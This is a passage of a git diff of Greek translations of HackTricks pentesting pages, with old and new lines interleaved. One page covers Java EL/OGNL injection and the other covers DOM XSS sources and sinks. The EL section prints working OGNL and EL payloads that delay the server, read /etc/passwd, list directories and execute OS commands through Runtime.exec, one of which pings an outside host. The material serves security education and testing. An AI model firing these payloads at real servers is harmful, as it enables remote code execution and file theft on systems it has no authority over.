#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Απομακρυσμένη Συμπερίληψη Αρχείου
### Remote File Inclusion
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Κατάλογος Καταχώρησης
### Κατάλογος Αρχείων
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
@ -171,7 +174,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* **Περισσότερες RCE**
* **Περισσότερο RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
@ -207,15 +210,15 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Επιθεώρηση του περιβάλλοντος
### Inspecting the environment
* `applicationScope` - γενικές μεταβλητές της εφαρμογής
* `applicationScope` - παγκόσμιες μεταβλητές εφαρμογής
* `requestScope` - μεταβλητές αιτήματος
* `initParam` - μεταβλητές αρχικοποίησης εφαρμογής
* `sessionScope` - μεταβλητές συνεδρίας
* `param.X` - τιμή παραμέτρου όπου το Χ είναι το όνομα μιας παραμέτρου http
* `param.X` - τιμή παραμέτρου όπου X είναι το όνομα μιας παραμέτρου http
Θα πρέπει να μετατρέψετε αυτές τις μεταβλητές σε συμβολοσειρά όπως:
You will need to cast this variables to String like:
```bash
${sessionScope.toString()}
```
@ -229,11 +232,11 @@ ${user}
${password}
${employee.FirstName}
```
## Διαπορεία WAF
## WAF Bypass
Ελέγξτε [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
## Αναφορές
## References
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
@ -242,24 +245,27 @@ ${employee.FirstName}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark-web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **παραβιαστεί** από **stealer malwares**.
Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των απαγωγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια εταιρεία **κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# DOM XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Δουλεύετε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Ευπαθείς στοιχεία του DOM
## DOM Ευπάθειες
Οι ευπαθείς στοιχεία του DOM προκύπτουν όταν δεδομένα από ελεγχόμενες από τον επιτιθέμενο **πηγές** (όπως `location.search`, `document.referrer`, ή `document.cookie`) μεταφέρονται μη ασφαλώς σε **δεματήρια**. Τα δεματήρια είναι λειτουργίες ή αντικείμενα (π.χ., `eval()`, `document.body.innerHTML`) που μπορούν να εκτελέσουν ή να αποδώσουν επιβλαβές περιεχόμενο εάν δοθούν κακόβουλα δεδομένα.
DOM ευπάθειες συμβαίνουν όταν δεδομένα από **πηγές** που ελέγχονται από επιτιθέμενους (όπως `location.search`, `document.referrer`, ή `document.cookie`) μεταφέρονται με ανασφαλή τρόπο σε **στόχους**. Οι στόχοι είναι συναρτήσεις ή αντικείμενα (π.χ., `eval()`, `document.body.innerHTML`) που μπορούν να εκτελέσουν ή να αποδώσουν επιβλαβές περιεχόμενο αν λάβουν κακόβουλα δεδομένα.
* **Πηγές** είναι εισόδοι που μπορούν να χειριστούν οι επιτιθέμενοι, συμπεριλαμβανομένων των διευθύνσεων URL, των cookies, και των μηνυμάτων ιστού.
* **Δεματήρια** είναι δυνητικά επικίνδυνα σημεία όπου κακόβουλα δεδομένα μπορεί να οδηγήσουν σε αντίκτυπους, όπως η εκτέλεση σεναρίων.
* **Πηγές** είναι είσοδοι που μπορούν να χειραγωγηθούν από επιτιθέμενους, συμπεριλαμβανομένων των URLs, cookies και διαδικτυακών μηνυμάτων.
* **Στόχοι** είναι δυνητικά επικίνδυνες καταλήξεις όπου τα κακόβουλα δεδομένα μπορούν να οδηγήσουν σε αρνητικές συνέπειες, όπως η εκτέλεση σεναρίων.
Ο κίνδυνος προκύπτει όταν τα δεδομένα ρέουν από μια πηγή σε ένα δεματήριο χωρίς κατάλληλο έλεγχο ή καθαρισμό, επιτρέποντας επιθέσεις όπως το XSS.
Ο κίνδυνος προκύπτει όταν τα δεδομένα ρέουν από μια πηγή σε έναν στόχο χωρίς κατάλληλη επικύρωση ή απολύμανση, επιτρέποντας επιθέσεις όπως το XSS.
{% hint style="info" %}
**Μπορείτε να βρείτε μια πιο ενημερωμένη λίστα πηγών και δεματηρίων στο** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
**You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
{% endhint %}
**Κοινές πηγές:**
@ -42,12 +45,12 @@ sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
```
**Κοινές Πηγές:**
**Κοινές Σημείες Εισόδου:**
| [**Ανοικτή Ανακατεύθυνση**](dom-xss.md#open-redirect) | [**Ενσωμάτωση Javascript**](dom-xss.md#javascript-injection) | [**Αλλαγή Δεδομένων DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** |
| [**Ανοιχτή Ανακατεύθυνση**](dom-xss.md#open-redirect) | [**Εισαγωγή Javascript**](dom-xss.md#javascript-injection) | [**Manipulation DOM-data**](dom-xss.md#dom-data-manipulation) | **jQuery** |
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `location` | `eval()` | `scriptElement.src` | `add()` |
| `location.host` | `Κατασκευαστής Function()` | `scriptElement.text` | `after()` |
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
@ -56,46 +59,46 @@ Database
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
| `domElem.srcdoc` | **\`\`**[**Αλλαγή τοπικής διαδρομής αρχείου**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
| `domElem.srcdoc` | **\`\`**[**Manipulation τοπικής διαδρομής αρχείου**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
| **\`\`**[**Αλλαγή αιτήματος Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| **\`\`**[**Manipulation αιτήσεων Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
| `XMLHttpRequest.send()` | [**Αλλαγή συνδέσμου**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `XMLHttpRequest.send()` | [**Manipulation συνδέσμων**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Ενσωμάτωση JSON στην πλευρά του πελάτη**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**Αλλαγή αποθήκευσης HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**Ενσωμάτωση XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Εισαγωγή JSON από τον πελάτη**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**Manipulation αποθήκευσης HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**Εισαγωγή XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **``**[**`Άρνηση Υπηρεσίας`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Αλλαγή cookie**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**Αλλαγή τομέα εγγράφου**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**Δηλητηρίαση διευθύνσεων URL WebSocket**](dom-xss.md#websocket-url-poisoning) |
| [**Ενσωμάτωση SQL στην πλευρά του πελάτη**](dom-xss.md#client-side-sql-injection) | [**Αλλαγή μηνύματος στο web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| **``**[**`Άρνηση Υπηρεσίας`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulation cookie**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**Manipulation τομέα εγγράφου**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**Δηλητηρίαση URL WebSocket**](dom-xss.md#websocket-url-poisoning) |
| [**Εισαγωγή SQl από τον πελάτη**](dom-xss.md#client-side-sql-injection) | [**Manipulation μηνυμάτων Web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
| `executeSql()` | `postMessage()` | \`\` | \`\` |
Η πηγή **`innerHTML`** δεν δέχεται στοιχεία `script` σε κανένα σύγχρονο πρόγραμμα περιήγησης, ούτε θα εκτελεστούν τα συμβάντα `svg onload`. Αυτό σημαίνει ότι θα πρέπει να χρησιμοποιήσετε εναλλακτικά στοιχεία όπως `img` ή `iframe`.
Η **`innerHTML`** σημείο εισόδου δεν δέχεται `script` στοιχεία σε κανέναν σύγχρονο περιηγητή, ούτε θα εκτελούνται τα γεγονότα `svg onload`. Αυτό σημαίνει ότι θα χρειαστεί να χρησιμοποιήσετε εναλλακτικά στοιχεία όπως `img` ή `iframe`.
Αυτός ο τύπος XSS είναι πιθανότατα ο **πιο δύσκολος να βρεθεί**, καθώς θα πρέπει να εξετάσετε τον κώδικα JS, να δείτε αν **χρησιμοποιεί** κάποιο αντικείμενο του οποίου τη **τιμή ελέγχετε**, και σε αυτήν την περίπτωση, να δείτε αν υπάρχει **κάποιος τρόπος να καταχραστείτε** για να εκτελέσετε αυθαίρετο JS.
Αυτού του είδους το XSS είναι πιθανώς το **πιο δύσκολο να βρεθεί**, καθώς πρέπει να κοιτάξετε μέσα στον κώδικα JS, να δείτε αν **χρησιμοποιεί** οποιοδήποτε αντικείμενο του οποίου την **τιμή ελέγχετε**, και σε αυτή την περίπτωση, να δείτε αν υπάρχει **οποιοσδήποτε τρόπος να το εκμεταλλευτείτε** για να εκτελέσετε αυθαίρετο JS.
## Εργαλεία για την εύρεσή τους
## Εργαλεία για να τα βρείτε
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
* Επέκταση προγράμματος περιήγησης για να ελέγχει κάθε δεδομένο που φτάνει σε μια πιθανή πηγή: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
* Επέκταση περιηγητή για να ελέγχει κάθε δεδομένο που φτάνει σε μια πιθανή σημείο εισόδου: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
## Παραδείγματα
### Ανοικτή Ανακατεύθυνση
### Ανοιχτή Ανακατεύθυνση
Από: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
Οι **ευπάθειες ανοικτής ανακατεύθυνσης στο DOM** συμβαίνουν όταν ένα σενάριο γράφει δεδομένα, τα οποία ένας επιτιθέμενος μπορεί να ελέγχει, σε μια πηγή ικανή να εκκινήσει πλοήγηση σε διαφορετικούς τομείς.
**Οι ευπάθειες ανοιχτής ανακατεύθυνσης στο DOM** συμβαίνουν όταν ένα σενάριο γράφει δεδομένα, τα οποία μπορεί να ελέγξει ένας επιτιθέμενος, σε μια σημείο εισόδου ικανή να ξεκινήσει πλοήγηση σε διάφορους τομείς.
Είναι κρίσιμο να κατανοήσετε ότι η εκτέλεση αυθαίρετου κώδικα, όπως **`javascript:alert(1)`**, είναι δυνατή αν έχετε έλεγχο στην αρχή του URL όπου συμβαίνει η ανακατεύθυνση.
Είναι κρίσιμο να κατανοήσετε ότι η εκτέλεση αυθαίρετου κώδικα, όπως **`javascript:alert(1)`**, είναι δυνατή αν έχετε έλεγχο στην αρχή της διεύθυνσης URL όπου συμβαίνει η ανακατεύθυνση.
Πηγές:
Σημεία Εισόδου:
```javascript
location
location.host
@ -113,23 +116,23 @@ XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
```
### Αλλαγή των Cookies
### Cookie manipulation
Από: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
Οι ευπάθειες στην αλλαγή των Cookies βασισμένες στο DOM προκύπτουν όταν ένα script ενσωματώνει δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, στην τιμή ενός cookie. Αυτή η ευπάθεια μπορεί να οδηγήσει σε απροσδόκητη συμπεριφορά της ιστοσελίδας εάν το cookie χρησιμοποιείται εντός της ιστοσελίδας. Επιπλέον, μπορεί να εκμεταλλευτεί για να πραγματοποιήσει μια επίθεση σταθεροποίησης συνεδρίας εάν το cookie εμπλέκεται στην παρακολούθηση των συνεδριών χρήστη. Η κύρια απορροή που σχετίζεται με αυτήν την ευπάθεια είναι:
Οι ευπάθειες χειρισμού cookie που βασίζονται στο DOM συμβαίνουν όταν ένα σενάριο ενσωματώνει δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, στην τιμή ενός cookie. Αυτή η ευπάθεια μπορεί να οδηγήσει σε απροσδόκητη συμπεριφορά της ιστοσελίδας αν το cookie χρησιμοποιείται εντός του ιστότοπου. Επιπλέον, μπορεί να εκμεταλλευτεί για να πραγματοποιηθεί μια επίθεση σταθεροποίησης συνεδρίας αν το cookie εμπλέκεται στην παρακολούθηση των συνεδριών χρηστών. Ο κύριος αποδέκτης που σχετίζεται με αυτή την ευπάθεια είναι:
Απορροές:
Sinks:
```javascript
document.cookie
```
### JavaScript Ενσωμάτωση
### JavaScript Injection
Από: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
Οι ευπάθειες ενσωμάτωσης JavaScript βασισμένες στο DOM δημιουργούνται όταν ένα σενάριο εκτελεί δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, ως κώδικα JavaScript.
Οι ευπάθειες εισαγωγής JavaScript που βασίζονται στο DOM δημιουργούνται όταν ένα σενάριο εκτελεί δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν επιτιθέμενο, ως κώδικα JavaScript.
Απορροές:
Sinks:
```javascript
eval()
Function() constructor
@ -142,45 +145,47 @@ msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
```
### Αλλαγή του domain του εγγράφου
### Document-domain manipulation
Από: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
Οι ευπάθειες στην αλλαγή του `document.domain` συμβαίνουν όταν ένα script ορίζει την ιδιότητα `document.domain` χρησιμοποιώντας δεδομένα που μπορεί να ελέγξει ο επιτιθέμενος.
**Ευπάθειες χειρισμού document-domain** προκύπτουν όταν ένα σενάριο ορίζει την ιδιότητα `document.domain` χρησιμοποιώντας δεδομένα που μπορεί να ελέγξει ένας επιτιθέμενος.
Η ιδιότητα `document.domain` παίζει έναν **καίριο ρόλο** στην **εφαρμογή** της **πολιτικής της ίδιας προέλευσης** από τους περιηγητές. Όταν δύο σελίδες από διαφορετικές προελεύσεις ορίζουν το `document.domain` τους στην **ίδια τιμή**, μπορούν να αλληλεπιδρούν χωρίς περιορισμούς. Παρόλο που οι περιηγητές επιβάλλουν ορισμένους **περιορισμούς** στις τιμές που μπορούν να ανατεθούν στο `document.domain`, αποτρέποντας την ανάθεση εντελώς ασυναίσθητων τιμών στην πραγματική προέλευση της σελίδας, υπάρχουν εξαιρέσεις. Συνήθως, οι περιηγητές επιτρέπουν τη χρήση **υπο-τομέων** ή **γονικών τομέων**.
Η ιδιότητα `document.domain` παίζει έναν **κεντρικό ρόλο** στην **επιβολή** της **πολιτικής ίδιας προέλευσης** από τους περιηγητές. Όταν δύο σελίδες από διαφορετικές προελεύσεις ορίζουν το `document.domain` τους στην **ίδια τιμή**, μπορούν να αλληλεπιδρούν χωρίς περιορισμούς. Αν και οι περιηγητές επιβάλλουν ορισμένους **περιορισμούς** στις τιμές που μπορούν να ανατεθούν στο `document.domain`, αποτρέποντας την ανάθεση εντελώς άσχετων τιμών στην πραγματική προέλευση της σελίδας, υπάρχουν εξαιρέσεις. Συνήθως, οι περιηγητές επιτρέπουν τη χρήση **υποτομέων** ή **γονικών τομέων**.
Sinks:
```javascript
document.domain
```
### Δηλητηρίαση URL WebSocket
### WebSocket-URL poisoning
Από: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
Η **δηλητηρίαση URL WebSocket** συμβαίνει όταν ένα script χρησιμοποιεί **δεδομένα που μπορούν να ελεγχθούν ως το URL στόχο** για μια σύνδεση WebSocket.
**WebSocket-URL poisoning** συμβαίνει όταν ένα σενάριο χρησιμοποιεί **ελέγξιμα δεδομένα ως τον στόχο URL** για μια σύνδεση WebSocket.
Απορροές:
Sinks:
Ο κατασκευαστής `WebSocket` μπορεί να οδηγήσει σε ευπάθειες δηλητηρίασης URL WebSocket.
Ο κατασκευαστής `WebSocket` μπορεί να οδηγήσει σε ευπάθειες WebSocket-URL poisoning.
### Αλλοίωση συνδέσμου
### Link manipulation
Από: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
Οι **ευπάθειες αλλοίωσης συνδέσμου βασισμένες στο DOM** προκύπτουν όταν ένα script γράφει **δεδομένα που μπορούν να ελεγχθούν από τον επιτιθέμενο σε έναν στόχο πλοήγησης** μέσα στην τρέχουσα σελίδα, όπως ένας κλικαριστός σύνδεσμος ή το URL υποβολής ενός φόρμας.
**DOM-based link-manipulation vulnerabilities** προκύπτουν όταν ένα σενάριο γράφει **δεδομένα ελέγχου επιτιθέμενου σε έναν στόχο πλοήγησης** μέσα στην τρέχουσα σελίδα, όπως ένας κλικαρίσιμος σύνδεσμος ή η URL υποβολής μιας φόρμας.
Απορροές:
Sinks:
```javascript
someDOMElement.href
someDOMElement.src
someDOMElement.action
```
### Αλλαγή αιτήσεων Ajax
### Ajax request manipulation
Από: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
Οι ευπάθειες στην αλλαγή αιτήσεων Ajax προκύπτουν όταν ένα script γράφει δεδομένα που ελέγχονται από τον επιτιθέμενο σε μια αίτηση Ajax που εκδίδεται χρησιμοποιώντας ένα αντικείμενο `XmlHttpRequest`.
**Οι ευπάθειες χειρισμού αιτημάτων Ajax** προκύπτουν όταν ένα σενάριο γράφει **δεδομένα που ελέγχονται από τον επιτιθέμενο σε ένα αίτημα Ajax** που εκδίδεται χρησιμοποιώντας ένα αντικείμενο `XmlHttpRequest`.
Απορροές:
Sinks:
```javascript
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
@ -188,13 +193,13 @@ XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
```
